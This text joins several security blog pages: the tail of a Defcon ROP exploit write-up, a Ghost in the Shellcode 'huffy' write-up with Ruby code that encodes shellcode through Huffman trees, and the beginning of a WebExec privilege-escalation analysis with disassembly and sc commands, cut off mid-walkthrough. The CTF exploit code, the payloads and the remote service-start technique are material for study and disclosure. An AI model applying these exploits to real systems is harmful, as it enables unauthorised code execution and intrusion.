    # Write the command we want to run
    puts("Attempting to read the flag!")
    s.write("cat /home/r0pbaby/flag\n")
    
    # Receive forever
    loop do
      x = s.recv(1024)
    
      if(x.nil? || x == "")
        puts("Done!")
        exit
      end
      puts(x)
    end
    

    [update] Or... do it the easy way

    After I posted this, I got a tweet from @gaasedelen informing me that libc has a "magic" address that will literally call exec() with "/bin/sh", making much of this unnecessary for this particular level. You can find it by seeing where the "/bin/sh" string is referenced. You can return to that address and a shell pops.

    But it's still a good idea to know how to construct a ROP chain, even if it's not strictly necessary. :)

    Conclusion

    And that's how to perform a ROP attack against a 64-bit binary! I'd love to hear feedback!

    3 thoughts on “Defcon Quals: r0pbaby (simple 64-bit ROP)

    1. Reply

      hasherezade

      Awesome writeup, it was a pleasure to read. Thanks!

    2. Reply

      joey

      and if the bug is in str* functions and we can't have null bytes in the exploit string?

    3. Reply

      0x3f97

      I search for "pop rdi" in IDA (use ida pro 6.8 version) , but find nothing...

      How could i find a gadget?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### GitS 2015: Huffy (huffman-encoded shellcode) » SkullSecurity


    GitS 2015: Huffy (huffman-encoded shellcode)

    Welcome to my fourth and final writeup from Ghost in the Shellcode 2015! This one is about the one and only reversing level, called "huffy", that was released right near the end.

    Unfortunately, while I thought I was solving it a half hour before the game ended, I had messed up some timezones and was finishing it a half hour after the game ended. So I didn't do the final exploitation step.

    At any rate, I solved the hard part, so I'll go over the solution!

    Huffman Trees

    Since the level was called "huffy", and I recently solved a level involving Huffman Trees in the Defcon qualifiers, my immediate thought was a Huffman Tree.

    For those who don't know, a Huffman Tree is a fairly simple data structure used for data compression. The tree is constructed by reading the input and building a tree where the most common characters are near the top, and the least common are near the bottom.

    To compress data, it traverses the tree to generate the encoded bits (left = 0, right = 1). The closer to the top something is, the less bits it encodes to. It's also a "prefix code", which is a really neat property that means that no encoded bit string is a prefix of another one (in other words, when you're reading bits, you instantly know when you're done decoding one character).

    For example, if you had a Huffman Tree that looked like:

           9
        /     \
       4       5 (o)
     /   \
    d(3)  g(1)
    

    You know that it was generated from text with 9 characters. 5 of the characters were 'o', 3 of the characters were 'd', and 1 of the characters were 'g'.

    When you use it to compress data, you might compress "dog" like:

    • d = 00 (left left)
    • o = 1 (right)
    • g = 01 (left right)

    Therefore, "dog" would encode to the bits "00101".

    If you saw the string of bits "01100", you could follow the tree: left right (g) right (o) left left (d) and get the string "god".

    If there are equal numbers of each character in a string, and the number of unique characters is a power of 2, you wind up with a balanced tree.. for example, the string "aaabbbcccddd" would have the huffman tree:

           12
        /      \
       6        6
     /   \    /   \
    a     b  c     d
    

    And the string "abcd" will be encoded "00011011".

    That property is going to be important. :)

    Understanding the program

    When you run the program it prompts for input from stdin. If you give it input, it outputs a whole bunch of junk (although the output makes it a whole lot easier!).

    Here's an example:

    $ echo 'this is a test string' | ./huffy
    CWD: /home/ron/gits2015/huffy
    Nibble  Frequency
    ------  ---------
    0       0.113636
    1       0.022727
    2       0.113636
    3       0.090909
    4       0.090909
    5       0.022727
    6       0.181818
    7       0.227273
    8       0.022727
    9       0.068182
    a       0.022727
    b       0.000000
    c       0.000000
    d       0.000000
    e       0.022727
    f       0.000000
    
    Read 22 bytes
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.000000
    Two lowest frequencies: 0.000000 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.022727
    Two lowest frequencies: 0.022727 and 0.045455
    Two lowest frequencies: 0.045455 and 0.068182
    Two lowest frequencies: 0.068182 and 0.090909
    Two lowest frequencies: 0.090909 and 0.113636
    Two lowest frequencies: 0.113636 and 0.113636
    Two lowest frequencies: 0.159091 and 0.181818
    Two lowest frequencies: 0.204545 and 0.227273
    Two lowest frequencies: 0.227273 and 0.227273
    Two lowest frequencies: 0.340909 and 0.431818
    Two lowest frequencies: 0.454545 and 0.454545
    Two lowest frequencies: 0.772727 and 0.909091
    Breaking!
    0 --0--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    1 --0--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    2 --1--> 0x9863348 --1--> 0x9863390 --1--> 0x98633c0 --1--> 0x98633d8
    3 --1--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    4 --0--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    5 --0--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    6 --1--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    7 --1--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    8 --0--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    9 --1--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    a --1--> 0x98632d0 --0--> 0x9863300 --1--> 0x9863330 --0--> 0x9863378 --1--> 0x98633a8 --0--> 0x98633d8
    b --0--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    c --1--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    d --1--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    e --1--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    f --1--> 0x9863258 --0--> 0x9863270 --0--> 0x9863288 --0--> 0x98632a0 --1--> 0x98632b8 --1--> 0x98632e8 --0--> 0x9863318 --0--> 0x9863360 --0--> 0x98633a8 --0--> 0x98633d8
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    Binary Encoded:
    h@V????Q?O?-????
    Executing encoded input...
    Segmentation fault
    

    It took me a little bit of time to see what's going on, but once you get it, it's pretty straight forward!

    The first part is giving a frequency analysis of each nibble (a nibble being one hex character, or half of a byte). That tells me that it's compressing it via nibbles. Then it gives a frequency analysis of the input—I didn't worry too much about that—then it shows the encodings for each of the 16 possible nibbles.

    After it encodes them, it takes those bits and converts them to a long binary string, then tries to run it.

    So to summarize: you have to come up with some data that, when compressed nibble-by-nibble with Huffman encoding, will turn into something executable!

    Cleaning up the output

    To make my life easier, I thought I'd use a bit of shell-fu to clean up the output so I can better understand what's going on:

    $ echo 'this is a test string' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    

    Which produces the output:

    [...]
    0 0111
    1 010000
    2 1111
    3 1000
    4 0010
    5 001010
    6 100
    7 110
    8 00000
    9 11010
    a 101010
    b 0000110000
    c 10110000
    d 100110000
    e 1110000
    f 1000110000
    Encoding input...
    ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
    

    If you try to give it "AAAA", you wind up with this table:

    $ echo 'AAAA' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    [...]
    0 0101
    1 0
    2 0000000000001101
    3 101101
    4 11
    5 1001101
    6 10001101
    7 100001101
    8 1000001101
    9 10000001101
    a 11101
    b 100000001101
    c 1000000001101
    d 10000000001101
    e 100000000001101
    f 1000000000001101
    Encoding input...
    ASCII Encoded: 110110110110101010111
    Binary Encoded:
    

    You probably know that AAAA = "41414141", so '4' and '1' are the most common nibbles. That's borne out in the table, too, with '4' being encoded as '11' and '1' being encoded as '0'. We also expect to see a newline at the end - "\x0a" - so the '0' and 'a' should also be encoded there.

    If we break apart the characters, we see this string:

    ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111
    

    One thing to note is that everything is going to be backwards from how you see it on the table! 11 and 0 don't actually matter, but 1010 = 0101 = '0', and 10111 = 11101 = 'a'. I honestly didn't notice that during the actual game, though, I worked around that problem in a creative way. :)

    Balancing it out

    Remember I mentioned earlier that if you have a balanced tree with a power-of-two number of nodes, all characters are encoded to the same number of bits? Well, it turns out that there are 16 different nibbles, so if you have an even number of each nibble in your input string, they each encode to 4 bits:

    $ echo -ne '\x01\x23\x45\x67\x89\xab\xcd\xef' | ./huffy | sed -re 's/ --/ /' -e 's/--> .{9} --//g' -e 's/--> .*//'
    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    And not only do they each encode to 4 bits, every possible 4-bit value is there, too!

    Exploit

    The exploit now is just a matter of...

    1. Figuring out which nibbles encode to which bits
    2. Writing those nibbles out as shellcode
    3. Padding the shellcode till you have the same number of each nibble

    That's all pretty straight forward! Check out my full exploit, or piece it together from the snippits below :)

    First, create a table (I did this by hand):

    @@table = {
      "0000" => 0x0, "0001" => 0x1, "0011" => 0x2, "0010" => 0x3,
      "0110" => 0x4, "0111" => 0x5, "0101" => 0x6, "0100" => 0x7,
      "1100" => 0x8, "1101" => 0x9, "1111" => 0xa, "1110" => 0xb,
      "1010" => 0xc, "1011" => 0xd, "1001" => 0xe, "1000" => 0xf,
    }
    

    Then encode the shellcode:

    def encode_nibble(b)
      binary = b.to_s(2).rjust(4, '0')
      puts("Looking up %s... => %x" % [binary, @@table[binary]])
      return @@table[binary]
    end
    
    @@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]
    
    #shellcode = "\xeb\xfe"
    #shellcode = "\xcd\x03"
    shellcode = "hello world, this is my shellcode!"
    shellcode.each_byte do |b|
      n1 = b >> 4
      n2 = b & 0x0f
    
      puts("n1 = %x" % n1)
      puts("n2 = %x" % n2)
    
      @@hist[n1] += 1
      @@hist[n2] += 1
    
      out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chr
    end
    

    Notice that I maintain a histogram, that makes the final step easier, padding the string as needed:

    def get_padding()
      result = ""
      max = @@hist.max
    
      needed_nibbles = []
      0.upto(@@hist.length - 1) do |i|
        needed_nibbles << [i] * (max - @@hist[i])
        needed_nibbles.flatten!
      end
    
      if((needed_nibbles.length % 2) != 0)
        puts("We need an odd number of nibbles! Add some NOPs or something :(")
        exit
      end
    
      0.step(needed_nibbles.length - 1, 2) do |i|
        n1 = needed_nibbles[i]
        n2 = needed_nibbles[i+1]
    
        result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr
      end
    
      return result
    end
    

    And now "out" should contain a bunch of nibbles that will map to shellcode! Should!

    Finally, we output it:

    def output(str)
      print "echo -ne '"
      str.bytes.each do |b|
        print("\\x%02x" % b)
      end
      puts("' > in; ./huffy < in")
    end
    

    Hacking around a bug

    Did you notice what I did wrong? I made a big mistake, and in the heat of the contest I didn't have time to fix it properly. When I tried to encode "hello world, this is my shellcode!", I get:

    echo -ne '\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Which works out to:

    ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????""""""""*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????
    

    That's not my string! What's the deal?

    But notice the string starts with "ajcco" - that kidna looks like "hello". And the 4-bits-per-character thing is holding up, we can see:

    0 0000
    1 0001
    2 0011
    3 0010
    4 0110
    5 0111
    6 0101
    7 0100
    8 1100
    9 1101
    a 1111
    b 1110
    c 1010
    d 1011
    e 1001
    f 1000
    

    So it's kinda working! Kinnnnnda!

    To work on this, I tried the shellcode

    "\x01\x23\x45\x67\x89\xab\xcd\xef"

    and determined that it encoded to: "0000100001001100001010100110111000011001010111010011101101111111", which is, in hex:

    "\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f"

    Or, to list the nibbles:

    0000
    1000
    0100
    1100
    0010
    1010
    0110
    1110
    0001
    1001
    0101
    1101
    0011
    1011
    0111
    1111
    

    If I was paying more attention, I would have noticed the obvious problem: they're backwards!!!

    In my rush to get the level done, I didn't notice that every nibble's bits were exactly backwards (1000 instead of 0001, 0100 instead of 0010, etc etc)

    While I didn't notice the problem, I did notice that everything was consistently wrong. So I did this:

    hack_table = {
      0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
      0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
      0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
      0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
    }
    
    hack_out = ""
    
    out.bytes.each do |b|
      n1 = hack_table[b >> 4]
      n2 = hack_table[b & 0x0f]
    
      hack_out += ((n1 << 4) | (n2 & 0x000f)).chr
    end
    output(hack_out)
    

    And ran it with the original test shellcode:

    $ ruby ./sploit.rb
    echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Then run the code I got:

    $ echo -ne '\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa' > in; ./huffy < in
    

    Binary Encoded:

    hello world, this is my shellcode!""""""33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
    Executing encoded input...
    Segmentation fault
    

    That's better! It decoded it properly thanks to my little hack! Not let's try my two favourite test strings, "\xcd\x03" (debug breakpoint, can also use "\xcc") and "\xeb\xfe" (infinite loop):

    $ ruby ./sploit.rb
    echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    
    $ echo -ne '\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a' > in; ./huffy < in
    Binary Encoded:
    ?Eg???
    Executing encoded input...
    Trace/breakpoint trap
    
    $ ruby ./sploit.rb
    echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    
    $ echo -ne '\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda' > in; ./huffy < in
    Binary Encoded:
    ??"3DUfw??????
    Executing encoded input...
    [...infinite loop...]
    

    At this point, I had run out of time (damn you timezones!) and didn't finish up.

    Summary

    This was, as I mentioned, a pretty straight forward Huffman-Tree level.

    It compresses your input, nibble-by-nibble, and runs the result.

    I gave it some input to ensure the tree is balanced, where each nibble produces 4 bits, then we encoded the shellcode as such.

    When I realized I was getting the wrong output, rather than reversing the bit strings, which I hadn't realize were backwards until just now, I made a little table to translate them correctly.

    Then we encode the shellcode, and we win!

    The last step would be to find appropriate shellcode, pad the message to always be 1024 nibbles (like the server wants), and send it off!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### August » 2010 » SkullSecurity

    Followup to my Facebook research

    Hey all, Some of you may have heard what I did this month. It turns out, depending on who you listen to, that I'm either an evil "Facebook hacker" or just some mischievous individual doing "unsettling" research. But, one way or the other, a huge number of people have read or heard this story, and […]

    #####EOF##### Technical Rundown of WebExec » SkullSecurity


    Technical Rundown of WebExec

    This is a technical rundown of a vulnerability that we've dubbed "WebExec". The summary is: a flaw in WebEx's WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That's right: this client-side application that doesn't listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it's patched.

    High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

    Credit

    This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

    If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

    You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

    Intro

    During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

    As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We're calling the class "thank you for your service", because we can, and are crossing our fingers that more are out there!

    The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We've tested some older and newer versions since then, and they are still vulnerable.

    WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

    The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you're concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

    c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
    

    That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

    Privilege Escalation

    What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called "webexservice" that can be started and stopped by anybody. That's not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that's SYSTEM). That's an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

    Due to the application whitelisting, however, on this particular assessment we couldn't simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

    One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it's a service, it runs with the working directory c:\windows\system32, and we couldn't write to that folder!

    At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let's take a look

    Deep dive into WebExService.exe

    It's not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

      .rdata:00405438 ; wchar_t aSCreateprocess
      .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
      .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0
    

    I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

      .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
      .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
      .text:0040255A                 push    0               ; lpCurrentDirectory
      .text:0040255C                 push    0               ; lpEnvironment
      .text:0040255E                 push    0               ; dwCreationFlags
      .text:00402560                 push    0               ; bInheritHandles
      .text:00402562                 push    0               ; lpThreadAttributes
      .text:00402564                 push    0               ; lpProcessAttributes
      .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
      .text:0040256C                 push    0               ; lpApplicationName
      .text:0040256E                 push    [ebp+phNewToken] ; hToken
      .text:00402574                 call    ds:CreateProcessAsUserW
    

    The W on the end refers to the UNICODE ("wide") version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you'll find everything you need to know.

    In any case, the two most important arguments here are hToken - the user it creates the process as - and lpCommandLine - the command that it actually runs. Let's take a look at each!

    hToken

    The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what's going on. Trying to understand what code's doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you'll see shortly.

    At the top of the function, we see:

      .text:0040241E                 call    ds:CreateToolhelp32Snapshot
    

    This is a normal way to search for a specific process in Win32 - it creates a "snapshot" of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

    Based simply on knowledge of the APIs, we can deduce that it's searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

      .text:00402480                 lea     eax, [ebp+Str1]
      .text:00402486                 push    offset Str2     ; "winlogon.exe"
      .text:0040248B                 push    eax             ; Str1
      .text:0040248C                 call    ds:_wcsicmp
      .text:00402492                 add     esp, 8
      .text:00402495                 test    eax, eax
      .text:00402497                 jnz     short loc_4024BE
    

    Specifically, it's comparing the name of each process to "winlogon.exe" - so it's trying to get a handle to the "winlogon.exe" process!

    If we continue down the function, you'll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That's another common sequence of API calls - it's how a process can get a handle to another process's token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

    To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

    An interesting takeaway here is that I didn't really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

    lpCommandLine

    This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don't be discouraged by this quick summary - I'm skipping an awful lot of dead ends and validation to keep just to the interesting bits.

    One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I'd have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea - I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

    C:\Users\ron>sc start webexservice
    
    SERVICE_NAME: webexservice
            TYPE               : 10  WIN32_OWN_PROCESS
            STATE              : 2  START_PENDING
                                    (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
    [...]
    

    You may need to configure Event Viewer to show everything in the Application logs, I didn't really know what I was doing, but eventually I found a log entry for WebExService.exe:

      ExecuteServiceCommand::Not enough command line arguments to execute a service command.
    

    That's handy! Let's search for that in IDA (alt+T)! That leads us to this code:

      .text:004027DC                 cmp     edi, 3
      .text:004027DF                 jge     short loc_4027FD
      .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
      .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
      .text:004027EB                 push    2               ; wType
      .text:004027ED                 call    sub_401770
    

    A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn't take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let's try it:

    C:\Users\ron>sc start webexservice a b
    
    [...]
    

    Then check Event Viewer again:

      ExecuteServiceCommand::Service command not recognized: b.
    

    Don't you love verbose error messages? It's like we don't even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

      .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
      .text:00402830                 push    dword ptr [esi+8]
      .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
      .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
      .text:0040283D                 push    2               ; wType
      .text:0040283F                 call    sub_401770
    

    If we scroll up just a bit to determine how we get to that error message, we find this:

      .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
      .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
      .text:00402802                 push    dword ptr [esi+8] ; lpString1
      .text:00402805                 call    ds:lstrcmpiW
      .text:0040280B                 test    eax, eax
      .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
      .text:0040280F                 mov     [ebp+var_4], eax
      .text:00402812                 lea     edx, [esi+0Ch]
      .text:00402815                 lea     eax, [ebp+var_4]
      .text:00402818                 push    eax
      .text:00402819                 push    ecx
      .text:0040281A                 lea     ecx, [edi-3]
      .text:0040281D                 call    sub_4025A0
    

    The string software-update is what the string is compared to. So instead of b, let's try software-update and see if that gets us further! I want to once again point out that we're only doing an absolutely minimum amount of reverse engineering at the assembly level - we're basically entirely using API calls and error messages!

    Here's our new command:

    C:\Users\ron>sc start webexservice a software-update
    
    [...]
    

    Which results in the new log entry:

      Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Exception code: 0xc0000005
      Fault offset: 0x00002643
      Faulting process id: 0x654
      Faulting application start time: 0x01d42dbbf2bcc9b8
      Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Report Id: 31555e60-99af-11e8-8391-0800271677bd
    

    Uh oh! I'm normally excited when I get a process to crash, but this time I'm actually trying to use its features! What do we do!?

    First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you'll know that it's a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

    The first thing I tried was the brute-force approach: let's add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren't present.

    So I started the service with the following commandline:

    C:\Users\ron>sc start webexservice a software-update a b c d e f
    
    [...]
    

    That led to a new crash, so progress!

      Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
      Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
      Exception code: 0x40000015
      Fault offset: 0x000a7676
      Faulting process id: 0x774
      Faulting application start time: 0x01d42dbc22eef30e
      Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
      Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
      Report Id: 60a0439c-99af-11e8-8391-0800271677bd
    

    I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard - probably a failed assert()? We don't really have any output, so it's hard to say.

    This one took me awhile, and this is where I'll skip the deadends and debugging and show you what worked.

    Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you'll see this function call:

